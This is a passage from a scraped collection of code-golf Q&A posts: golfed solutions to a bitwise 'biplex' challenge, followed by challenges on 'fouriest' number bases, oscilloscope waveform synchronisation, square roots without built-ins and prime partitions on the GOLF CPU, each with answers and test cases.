,[[2], 2]
,[[1, 2, 5], 7]
,[[4294967295], 4294967295]
,[[2454267026, 2863311530, 3681400539], 3817748707]
,[[2341103945, 2969112506, 1849078949, 1430639189], 3]
].forEach(t =>{
  r=f(t[0])
  x=t[1]
  console.log('Test '+(r==x?'OK':'Fail (Expected: ' + x +')')
  +'\nInput: '+t[0]+'\nResult: ' +r+'\n')
})
```

```
<pre id=O></pre>
```
> 3 votes

# Answer
## Python 3, ~~181~~ ~~126~~ 122 bytes

(I took out most of the byte count slashes because it was getting a bit ridiculous.) 21 bytes off thanks to **Sp3000**!

```
*z,=map(sum,zip(*[map(int,t.zfill(99))for t in input().split()]))
k=0
for x in z:k=k*10+(x in[min(z)or 1,max(z)])
print(k)

```

Slightly less golfed:

```
s=input().split()
k=list(map(lambda t:list(map(int,t))[::-1],s))
z=list(map(sum,zip(*k)))
y=z[:]
while min(y)==0:y.remove(0)
a,b=min(y),max(y)
f=''.join(map(lambda x:str(1*(x in[a,b])),z[::-1]))
print(int(f))

```

Input is expected in binary with only spaces separating the numbers. Output is in binary as well.
> 3 votes

# Answer
# Javascript, 154 150 bytes

```
t=i=>(m=0,r=[],i.map(n=>{for(j=31;j+1;r[k=31-j]=(r[k]|0)+((n>>>j)%2),--j);}),r.map(n=>m=(n==Math.min(...r.filter(x=>x))|n==Math.max(...r)?1:0)+m*2),m)

```

Thanks for edc65 method for min/max calculation, it shortened my code by 4 bytes.

# Explanation

```
t=i=>(
    m=0,//m=>output
    r=[],//Bitsum then final number in binary
    i.map(
        n=>
        {
            //Decimal to binary + bitsum
            for(j=31;j+1;r[k=31-j]=(r[k]|0)+((n>>>j)%2),--j);
        }),
    //Output formatting
    r.map(
        n=>
            m=(n==Math.min(...r.filter(x=>x))|n==Math.max(...r)?1:0)+m*2
        ),
    m
)

```
> 3 votes

# Answer
# ShapeScript, 186 bytes

```
'"1
"$0?_1-"+"*":2"@~@"0
"~"0
"$"
"~+'1?_*!"2"$"0"~"
"$""~":"1?'@1?"+"$_1>"+"*+@1?"0"+$""~'1?_*!#"0"+@":+"'1?1?"0"+$_2<"+"*+'1?_*!"0"+$"1"~@$"1"~":"$""~"+"$""~'"
"@+"
0"$""~'1?_*!"
"$""~

```

An important, useless language for an important, useless operator.

I/O is in binary. The program expects each number on a separate line, each ending with a linefeed.

Try it online!

### Test cases

```
$ echo -e '1' | shapescript biplex.shape; echo
1
$ echo -e '10' | shapescript biplex.shape; echo
10
$ echo -e '1\n10\n101' | shapescript biplex.shape; echo
111
$ echo -e '11111111111111111111111111111111' | shapescript biplex.shape; echo11111111111111111111111111111111
$ echo -e '10010010010010010010010010010010\n10101010101010101010101010101010\n11011011011011011011011011011011' | shapescript biplex.shape; echo
11100011100011100011100011100011
$ echo -e '10001011100010100110100101001001\n10110000111110010000111110111010\n1101110001101101011010010100101\n1010101010001011101001001010101' | shapescript biplex.shape; echo
11

```
> 3 votes

# Answer
# APL, 27 bytes

```
{2⊥S∊(⌈/,⌊/)0~⍨S←+/⍵⊤⍨32⍴2}

```

This is a monadic function that takes a list of decimal integers and returns their decimal biplex.

Try it online in the ngn/apl demo.

### How it works

```
                     32⍴2  Create a list of 32 2's.
                  ⍵⊤⍨      Base-encode the right argument.
                +/         Add the corresponding binary digits.
              S←           Save the sums in S.
           0~⍨             Remove 0's.
    (⌈/,⌊/)                Apply minimum (⌊/), maximum (⌈/) and concatenate.
  S∊                       Check which binary digits are in the extrema list.
2⊥                         Convert from base 2 to integer.

```
> 2 votes

# Answer
# Wolfram Language, 113 bytes

This version takes input from a popup window, with the numbers being input in the form "{x,y,z,...}", (no quotes).

```
FromDigits[#/.{Max[#]->1,Min[#/.{0->Nothing}]->1,_Integer->0},2]&@Total[PadLeft[IntegerDigits[#,2],33]&/@Input[]]

```

Input:

Output:

Takes input in a dynamic Manipulate as a string of the form "{x,y,z}" with x, y, and z being base 10 integers (with or without leading zeroes). The output is also in base 10.

```
Manipulate[FromDigits[#/.{Max[#]->1,Min[#/.{0->Nothing}]->1,_Integer->0},2]&@Total[PadLeft[IntegerDigits[#,2],33]&/@ToExpression@i],{i,"{1}"}]

```

There are other ways to input this in a way that would save on character counts, but I think this solution is an elegant use of a dynamic GUI that performs the computation

If you want to run this in the cloud, we can use CloudDeploy:

```
o=CloudDeploy[FormPage[{"i"->"String"},(FromDigits[#/.{Max[#]->1,Min[#/.{0->Nothing}]->1,_Integer->0},2]&@Total[PadLeft[IntegerDigits[#,2],33]&/@ToExpression@#i])&]];SetOptions[o,Permissions->{All->{"Read","Execute"},"Owner"->{"Read","Write","Execute"}}];o

```

The Cloud deploy brings the character count up to 256 however...

The input to the FormPage is also a string of the form "{x,y,z}" with x, y, and z being base 10 integers.

I cloud-deployed this myself and you can try it out at https://www.wolframcloud.com/objects/97b512df-64f8-4cae-979b-dba6d9622781
> 2 votes

# Answer
# Python 3, 197

```
import itertools
o='0'
d=[sum(map(int,n))for n in itertools.zip_longest(*map(reversed,input().split(' ')),fillvalue=o)]
m=max(d),min(d)or 1
print(''.join((o,'1')[g in m]for g in d[::-1]).lstrip(o))

```

It takes in space delimited binary numbers.

Ungolfed version:

```
import itertools
nums = map(reversed, input().split(' '))
digits = []
for num in itertools.zip_longest(*nums, fillvalue='0'):
    current_digit = sum(map(int,num))
    digits.append(current_digit)
bit_max = max(digits)
bit_min = min(digits) or min(digits) + 1
print(''.join(('0','1')[digit in(bit_max,bit_min)]for digit in digits[::-1]).lstrip('0'))

```
> 1 votes

# Answer
# C#, 255

A complete program, input as command line arguments - space separated - in decimal.

```
using System.Linq;class P{static void Main(string[]l){var n=new uint[32];uint i,r=0,b;foreach(var v in l)for(i=0,b=uint.Parse(v);b!=0;b/=2)n[i++]+=b&1;b=1;foreach(var v in n){r+=(v==n.Max()|v== n.Min(x=>x>0?x:n.Max()))?b:0;b+=b;}System.Console.Write(r);}}

```

More readable:

```
using System.Linq;

class P
{
    static void Main(string[] l)
    {
        var n = new uint[32];
        uint i, r = 0, b;

        foreach (var v in l)
            for (i = 0, b = uint.Parse(v); b != 0; b /= 2) n[i++] += b & 1;
        b = 1;
        foreach (var v in n)
        {
            r += (v == n.Max() | v == n.Min(x => x > 0 ? x : n.Max())) ? b : 0;
            b += b;
        }
        System.Console.Write(r);
    }
}

```
> 1 votes

# Answer
# Ruby, 127 bytes

```
def f l;a=[];32.times{|i|a[i]=0;l.each{|n|;a[i]+=n[i]}};a.map{|b|a.reject{|c|c==0}.minmax.index(b)?1:0}.reverse.join.to_i 2;end

```

Takes an array as input.
> 1 votes

# Answer
# C++, 192 bytes

Accepts input a 32 bit unsigned integer array, and a count of items in that array.

```
typedef unsigned long U;U b(U*a,int c){U x[32],t,i,j,M=0,m=c,r=0;for(i=0;i<32;x[i++]=t,m=t&&m>t?t:m,M=M<t?t:M)for(t=j=0;j<c;)t+=a[j++]>>i&1;for(i=0;i<32;++i)r|=(x[i]==m||x[i]==M)<<i;return r;}

```

Ungolfed :

```
unsigned long b(unsigned long*a, int c){
    unsigned long x[32],t,i,j,M=0,m=c,r=0;
    for(i=0;i<32;x[i++]=t){
        m = (t && m > t)?t:m;
        M = M < t ? t:M;
        for(t=j=0;j<c;){
            t+=a[j++]>>i&1;
        }
    }
    for(i=0;i<32;++i)
        r|=(x[i]==m||x[i]==M)<<i;
    return r;
}

```
> 1 votes

# Answer
# CoffeeScript, 194 bytes

Takes input as coma separated binary numbers, outputs in binary.

```
a=(s.split('').reverse()for s in prompt().split(','))
for i in b=[0..31]
 b[i]=0
 b[i]+=+c[31-i]||0for c in a
m=1/M=0
for d in b
 M=d if d>M;m=d if m>d&&d
alert +(+(d in[m,M])for d in b).join ''

```

Try it.
> 1 votes

# Answer
# GolfScript, 46 bytes

```
~{2base-1%}%zip{{+}*}%-1%.$0-)\1<|`{&,}+%2base

```

Try it online on Web GolfScript.

### Test cases

```
$ golfscript biplex.gs <<< '[1]'
1
$ golfscript biplex.gs <<< '[2]'
2
$ golfscript biplex.gs <<< '[1 2 5]'
7
$ golfscript biplex.gs <<< '[4294967295]'
4294967295
$ golfscript biplex.gs <<< '[2454267026 2863311530 3681400539]'
3817748707
$ golfscript biplex.gs <<< '[2341103945 2969112506 1849078949 1430639189]'
3

```
> 1 votes

---
Tags: code-golf, base-conversion, binary
---


title: "Fouriest" Transform of An Integer

text:
# Question
Title: "Fouriest" Transform of An Integer
# Challenge

Inspired by this SMBC comic, discussed on reddit, math.stackexchange, and calculus7, the challenge is to return the lowest base such that a number is "fouriest."

# Description

> \[From the comic\]
>
> "It's called a Fourier Transform when you take a number and convert it to the base system where it has more fours, thus making it 'fourier.' If you pick the base with the most fours, the number is said to be 'fouriest.'"

The challenge is: given an integer greater than four, return the lowest base in which it is "fouriest."

# Rules

* The solution may be either a function or a full program, whose input and output are of integral type (Int, Long, etc.)
* If your language has a function to convert base systems or solve this challenge for a number other than four, it is disallowed
* I will not accept my own solution
* Solution with the lowest number of bytes wins!

# Test Cases

```
f(17)      = 13
f(72)      = 17
f(176)     = 43
f(708)     = 176
f(500)     = 124
f(2004)    = 500
f(1004)    = 250
f(4020)    = 1004
f(1004)    = 250
f(4020)    = 1004
f(4076)    = 1018
f(16308)   = 4076
f(8156)    = 2038
f(32628)   = 8156
f(3444443) = 10
f(9440449) = 5

```

Aside: Except for the final two test cases (which are palindromic primes), each one is a record in this sequence such that its position is an additional record.

You may also note that (the position)/(the record) is around four, and I conjecture that this ratio converges to four.

# Test Implementations:

Mathematica:

```
Maxnum4s[x_] := Block[{thisbest = 0, best = 0, bestpos = 4},
  Do[thisbest = num4s[x, pos];
   If[thisbest > best, best = thisbest; bestpos = pos, 0], {pos, 5, x - 1}]; {bestpos, best}]

```

Python3:

```
def foursCount(x0,b):
    count = 0
    x     = x0
    while x > 0:
        if x % b == 4:
            count += 1
        x = x // b
    return count

def fouriest(x):
    bestpos = 4
    best    = 0
    this    = 0
    for pos in range(4,x):
        this = foursCount(x,pos)
        if this > best:
            best    = this
            bestpos = pos
    return bestpos

```

C:

```
int foursCount(int x0, int b){
    int count = 0;
    int     x = x0;
    while (x > 0) {
        if (x % b == 4) {
            count++;
        }
        x = x / b;
    }return count;
}
int fouriest(int x){
    int pos     = 5;
    int this    = 0;
    int best    = 0;
    int bestpos = 0;
    while (pos < x) {
        this = foursCount(x, pos);
        if (this > best) {
            bestpos = pos;
            best    = this;
        }
        pos++;
    }
    return bestpos;
}

```

If you're curious, just for fun:

```
Mathematica:            77.042 s
Python:                  8.596 s
Haskell (Interpreted): 579.270 s
Haskell (compiled):      4.223 s
C:                       0.129 s

```

# Answer
> 1 votes
# Haskell, 82 bytes

The function 'f' gives the final result:

```
_#0=0
b#x=sum[1|4==mod x b]+b#div x b
f x=[b|b<-[5..x],and[b#x>=c#x|c<-[b..x]]]!!0

```

Less golfed:

```
countFours 0    _ = 0
countFours base x | x == 0          = 0
                  | mod x base == 4 = 1 + countFours (div x base) base

f x = head [base | base <- [5..x], and smallerBasesNotFouriest]
  where
    smallerBasesNotFouriest = [(countFours base x) >= (countFours base' x) | base' <- [5..base]]

```

---
Tags: code-golf, math, sequence, base-conversion
---


title: Tune the oscilloscope display

text:
# Question
Title: Tune the oscilloscope display
## The Scenario

I am building a fancy oscilloscope but I need your help. The oscilloscope can display any number of individual waveforms at the same time (e.g. sine waves) but I don't know how to synchronise the display so it doesn't jump around too much.

## The Challenge

Your program or function will take a series of floating point numbers as its input. The first number will be the width of the oscilloscope screen (there will be different models with larger or smaller screens). The remaining numbers will be the wavelength (not the frequency) of each waveform and will always be less than the width of the display. The amplitude of the waveforms is unimportant, so is not given. The only thing you need to know about the amplitude is that it will never be zero.

Your code must output the distance from the start where all the waveforms are as in-sync as possible for the width of the display. This is assumed to be when there is the smallest horizontal distance possible when each waveform is at 0 degrees (therefore, also with a height of zero). If there are multiple best matches, use the largest one (furthest from the left edge of the display).

An example is displayed below. The vertical lines are where each of the waves are most in-sync with the others. The inputs are `100 [3.14159265358979, 2.71828182845905, 1.41421356237310]` (the image has been scaled up by a factor of 10) and the outputs, in order, are `[40.8407044966673, 40.7742274268858, 41.0121933088199]`. Your code must display at least 5 significant digits unless the decimal representation ends before that. The numbers must be output in the same order as the inputs.

**You need to find the greatest multiple of each input number where the maximum distance between them all is as small possible, without going over the upper bound of the screen width.** If there is even a **single** irrational ratio the smallest maximum distance will never be `0` for finite numbers. `[0 ...]` will never be an answer as all of the waveforms will fit at least once on the display before repeating. The maths to calculate the numbers is a lot easier than it appears initially. You can separate the output numbers with any delimiter - it doesn't have to be a space or a comma; use brackets if there is an easier option in your language, as long as the digits are correct to as many places as shown. The same goes for the input; if it's easier to tab separate the numbers, for example, that's OK, as is any other delimiter as long as the numbers are input exactly as shown in the test data.

Test data:

```
In: 10 [3.16227766016838]
Out: [9.48683298050514]

In: 100 [3.16227766016838]
Out: [98.0306074652198]

In: 105 [6, 7]
Out: [84, 84]

In: 1050 [6, 7]
Out: [1050, 1050]

In: 90 [5, 6, 7]
Out: [85, 84, 84]

In: 100 [5, 6, 7]
Out: [90, 90, 91]

In: 200 [5, 6, 7]
Out: [175, 174, 175]

In: 300 [5, 6, 7]
Out: [210, 210, 210]

In: 100 [1.4142135623731, 3.14159265358979, 2.71828182845905]
Out: [41.0121933088199, 40.8407044966673, 40.7742274268858]

In: 100 [3.14159265358979, 2.71828182845905, 1.4142135623731]
Out: [40.8407044966673, 40.7742274268858, 41.0121933088199]

In: 300 [3.14159265358979, 2.71828182845905, 1.4142135623731]
Out: [141.371669411541, 141.350655079871, 141.42135623731]

In: 900 [3.14159265358979, 2.71828182845905, 1.4142135623731]
Out: [383.274303737954, 383.277737812726, 383.25187540311]

In: 1000 [3.14159265358979, 2.71828182845905, 1.4142135623731]
Out: [907.920276887449, 907.906130705323, 907.92510704353]

In: 100 [1.73205080756888, 2, 2.23606797749979, 2.44948974278318, 2.64575131106459]
Out: [24.2487113059643, 24, 24.5967477524977, 24.4948974278318, 23.8117617995813]

In: 1000 [1.73205080756888, 2, 2.23606797749979, 2.44948974278318, 2.64575131106459]
Out: [129.903810567666, 130, 129.691942694988, 129.822956367509, 129.641814242165]

```

As an example, lets take the following test case:

```
In: 200 [5, 6, 7]
Out: [175, 174, 175]

```

At `[5, 6, 7]` (`[1*5, 1*6, 1*7]`) you can show that each number is as close as possible to its neighbours without changing any of the multiples. The minimum distance to contain all the numbers is `2` (`7-5`). But is there a smaller solution less than `200`? At `[35, 36, 35]` (`[7*5, 6*6, 5*7]`) the minimum distance to contain all the numbers is now only `1` (`36-35`). Can we get it smaller? The next smallest distance is at `[210, 210, 210]` (`[42*5, 35*6, 30*7]`) which is optimal at `0` (`210-210`), however, `210` is larger than `200` so is not allowed in this case. The largest solution below or equal to `200` is `[175, 174, 175]` (`[35*5, 29*6, 25*7]`), also with a distance of `1` (`175-174`).

This is code-golf, so shortest solution wins!

# Answer
> 2 votes
## Python (3.5) 240 bytes

A non optimal solution. It works on all test but that's a really really slow solution since we test each possibility.

## Solution

```
import numpy as n
def f(w,s):
 l = len(s)
 def g(t,m,k,z):
  if t!=[]:
   u,*v=t
   for i in n.arange(u,w+1,u):
    m,k=g(v,m,k,[*z,i])
  else:
   j=sum(abs(sum(z[1:])/l-i) for i in z[1:])
   if j<=m+1e-9 :
    return j,z
  return m,k
 print(g(s,w,0,[0])[1][1:])

```

## Explanation

Importation of numpy module

```
import numpy as n

```

Function definition w:screen length s:"wavelength"

```
def f(w,s):
 l = len(s)

```

Définition of the recursive function with t wavelength, m minimum, k value of the minimum point, z current point

```
 def g(t,m,k,z):

```

the recursive test : if t is non empty we go "deeper" in the recursion

```
  if t!=[]:
   u,*v=t

```

loop on each zeros of the sinus function

```
   for i in n.arange(u,w+1,u):

```

call the recursive function

```
    m,k=g(v,m,k,[*z,i])
  else:

```

the "function" to minimize

```
   j=max(z[1:])-min(z[1:])

```

test for the minimum (1e-9 because there is a precision issu)

```
   if j<=m+1e-9 :
    return j,z
  return m,k
 print(g(s,w,0,[0])[1][1:])

```

## Results:

```
>>> f(300, [5, 6, 7])
[210, 210, 210]
>>> f(100, [5, 6, 7])
[90, 90, 91]

```

## Previous iteration

In first try i use the distance between points and barycenter

```
   j=sum(abs(sum(z[1:])/l-i) for i in z[1:])

```

---
Tags: code-golf
---


# Question
Title: principal square root without resorting to built‑ins
Write a square root function taking a single input – positive, negative or sign‑less (zero is sign‑less) – that outputs its approximate principal square root, correct up to six decimal places past the decimal point (truncate after the sixth decimal place). Employing scientific notation (`1E3` = `1 × 10³` = 100) or similar is not allowed.

You are forbidden from using *any* built‑in power‑related functions, including but not limited to

* `Math.pow(n, 0.5)`
* `sqrt(2)`
* `root(n, 2)`
* `n ** 0.5`
* `exp(ln(n) ∕ 2)` (the exponentiation function is forbidden, logarithms and division are allowed)

This means that you have to implement your own method for finding the principal square root. Two common methods are the Babylonian/bisector method and Newton’s method, but feel free to create your own!

Output can be either printed to the console or returned, your choice. Examples:

| input | output |
| --- | --- |
| 4 | 2 |
| 7 | 2.645751 |
| 5.0625 | 2.25 |
| −15 | 3.872983 i |
| −9 | 3 i |

# Answer
> 4 votes
# c (function), 166

Now with complex numbers. Uses the GCC complex number extension.

Straightforward golfing of the famous Fast inverse square root method. This method gives `1/sqrt(n)`, so we simply multiply this by `n` to give `sqrt(n)`:

```
#include <complex.h>
#define M y*=1.5-n*y*y/2
i;_Complex float f(float m){float y,n;n=m>0?m:-m;y=n;i=0x5f3759df-*(int*)&y/2;y=*(float*)&i;M;M;M;return m>0?y*n:y*n*I;}

```

The famous snippet of Quake code only does one iteration of Newton's method, which gives a fairly inaccurate answer. Three iterations here seems to be enough for 6 decimal places, at least for the testcases.

Try it online.

---
Tags: code-golf, math
---


# Question
Title: The GOLF CPU Golfing Challenge: Prime Partitions
This challenge is the first of a series of problems that should be written in the GOLF CPU. You can find the next one here

A partition of a number, `N`, is a list of numbers that add up to `N`. A *prime partition* is a list of prime numbers that add up to `N`.

For this challenge, you are given a single integer `N ≥ 2`. You need generate the shortest possible prime partition for `N`. If there are multiple possible partitions, you can print any of them.

Examples:

```
9: [2, 7]
12: [5, 7]
95: [89, 3, 3]
337: [337]
1023749: [1023733, 13, 3]
20831531: [20831323, 197, 11]

```

Your program should be written in GOLF CPU. For input/output you can either use STDIO or the registers. The list can be in any order, and if you are using STDOUT, can be separated by whitespace or commas (no brackets needed). Obviously, hardcoding the solutions isn't allowed, nor is hardcoding more than the first few primes.

This is a problem, so the answer that solves the examples above with the fewest amount of cycles wins!

# Answer
# 159,326,251 cycles

Input is `n`, output is `r`, `s`, and `t` (ignoring zeros).

```
# Input in register n
# Outputs in registers r, s, t
# (I use the return value as a debug parameter)

# hardcoded case n=2
cmp c, n, 2
jz skip_n2, c
  mov r, 2
  halt 0
skip_n2:
# hardcoded case n=4
cmp c, n, 4
jz skip_n4, c
  mov r, 2
  mov s, 2
  halt 0
skip_n4:

# Sieve of Eratosthenes
mov i, 1
sieve_loop:
  add i, i, 2
  lb a, i
  jnz sieve_loop, a

  mulu j, k, i, i
  geu c, j, n
  jnz end_sieve_loop, c

  sieve_inner_loop:
    sb j, 1
    add j, j, i
    lequ c, j, n
    jnz sieve_inner_loop, c

  jmp sieve_loop

end_sieve_loop:

lb a, n

# if n is even, skip to search
and c, n, 1
jz search, c

# if n is prime, the partition is simply [n]
jnz not_prime, a
  mov r, n
  halt 1
not_prime:

# if n is odd, check n-2
sub i, n, 2
lb a, i

jnz sub_3, a
# if n-2 is prime, the partition is [2, n-2]
mov r, 2
mov s, i
halt 2

sub_3:
# otherwise the partition is [3] + partition(n-3)
mov t, 3
sub n, n, 3

search:
mov i, 1
sub n, n, 1

search_loop:
  add i, i, 2
  sub n, n, 2
  lb a, i
  jnz search_loop, a
  lb a, n
  jnz search_loop, a
  mov r, i
  mov s, n
  halt 3

```

Testcases:

```
robert@unity:~/golf-cpu$ ./assemble.py partition.golf
robert@unity:~/golf-cpu$ ./golf.py -p r,s,t partition.bin n=9
2, 7, 0
Execution terminated after 51 cycles with exit code 2.
robert@unity:~/golf-cpu$ ./golf.py -p r,s,t partition.bin n=12
5, 7, 0
Execution terminated after 77 cycles with exit code 3.
robert@unity:~/golf-cpu$ ./golf.py -p r,s,t partition.bin n=95
3, 89, 3
Execution terminated after 302 cycles with exit code 3.
robert@unity:~/golf-cpu$ ./golf.py -p r,s,t partition.bin n=337
337, 0, 0
Execution terminated after 1122 cycles with exit code 1.
robert@unity:~/golf-cpu$ ./golf.py -p r,s,t partition.bin n=1023749
13, 1023733, 3
Execution terminated after 6654139 cycles with exit code 3.
robert@unity:~/golf-cpu$ ./golf.py -p r,s,t partition.bin n=20831531
229, 20831299, 3
Execution terminated after 152670560 cycles with exit code 3.
robert@unity:~/golf-cpu$

```
> 1 votes

# Answer
# Total cycles for examples: 477,918,603

**Update 1:** Updated to use Lemoine's conjecture.

**Update 2:** Updated to use the Sieve of Eratosthenes instead of naively finding the primes.

Run with:

```
python3 assemble.py 52489-prime-partitions.golf
python3 golf.py 52489-prime-partitions.bin x=<INPUT>

```

Example run:

```
$ python3 golf.py 52489-prime-partitions.bin x=10233
5
5
10223
Execution terminated after 194500 cycles with exit code 0.

```

Cycle count for example input:

```
Input    Cycles
9        191
12       282
95       1,666
337      5,792
1023749  21,429,225
20831531 456,481,447

```

We consider the first `(N+1)*8` bytes of the heap, to be an array containing `N+1` 64-bit values. (As the heap is limited in size, this will only work for `N < 2^57`). The value of the entry at `i*8` indicates wether `i` is a prime:

```
Value Description
-1    Not a prime
0     Unknown
1     The largest prime found
n > 1 This is a prime and the next prime is n

```

When we are done building the array it will look like `[-1, -1, 3, 5, -1, 7, -1, 11, -1, -1, -1, 13, ...]`.

We use the Sieve of Eratosthenes to build the array.

Next the program does the following in pseudo-code:

```
if is_prime(x):
    print x
else:
    if is_even(x):
        for p in primes:
            if is_prime(x - p):
                print p, x - p
                exit
    else:
        if is_prime(x - 2):
            print 2, x - 2
        else:
            for p in primes:
                if is_prime(x - 2 * p):
                    print p, p, 2 * p
                    exit

```

This is guaranteed to work because of Lemoine's conjecture and Goldbach's weak conjecture. Lemoine's conjecture hasn't be proven yet, but it's probably true for numbers below 2^57.

```
    call build_primes

    mov q, x
    call is_prime

    jnz print_prime, a

    and b, x, 1
    jz find_pair, b

    # Check if x - 2 is a prime
    sub q, x, 2
    call is_prime
    jnz print_prime_odd2, a

# Input: x, b
find_pair:
    mov p, 2
find_pair_loop:
    mov d, p
    jz find_pair_even, b

    add d, d, p

find_pair_even:
    sub q, x, d

    call is_prime
    jnz print_prime2_or_3, a

    shl i, p, 3
    lw p, i
    jmp find_pair_loop

print_prime2_or_3:
    jz print_prime2, b

    mov x, p
    call write_int_ln

print_prime2:
    mov x, p
    call write_int_ln

    mov x, q
    call print_prime

print_prime_odd2:
    mov p, 2
    call print_prime2

print_prime:
    call write_int_ln
    halt 0

# Input: x
# Memory layout: [-1, -1, 3, 5, -1, 7, -1, 11, ...]
# x: max integer
# p: current prime
# y: pointer to last found prime
# i: current integer
build_primes:
    sw 0, -1
    sw 8, -1
    sw 16, 1
    mov y, 16

    mov p, 2

build_primes_outer:
    mulu i, r, p, p
    jnz build_primes_final, r

    geu a, i, x
    jnz build_primes_final, a

build_primes_inner:
    shl m, i, 3
    sw m, -1

    add i, i, p

    geu a, i, x
    jz build_primes_inner, a

build_primes_next:
    inc p
    shl m, p, 3
    lw a, m
    jnz build_primes_next, a

    sw y, p
    mov y, m
    sw y, 1

    jmp build_primes_outer

build_primes_final:
    inc p
    geu a, p, x
    jnz build_primes_ret, a

    shl m, p, 3
    lw a, m
    jnz build_primes_final, a

    sw y, p
    mov y, m
    sw y, 1

    jmp build_primes_final

build_primes_ret:
    ret

# Input: q
# Output: a
is_prime:
    shl m, q, 3
    lw a, m
    neq a, a, -1
    ret a

write_int:
    divu x, m, x, 10
    jz write_int_done, x
    call write_int
write_int_done:
    add m, m, ord("0")
    sw -1, m
    ret

write_int_ln:
    call write_int
    mov m, ord("\n")
    sw -1, m
    ret

```
> 7 votes

---
Tags: golf-cpu, fewest-operations
---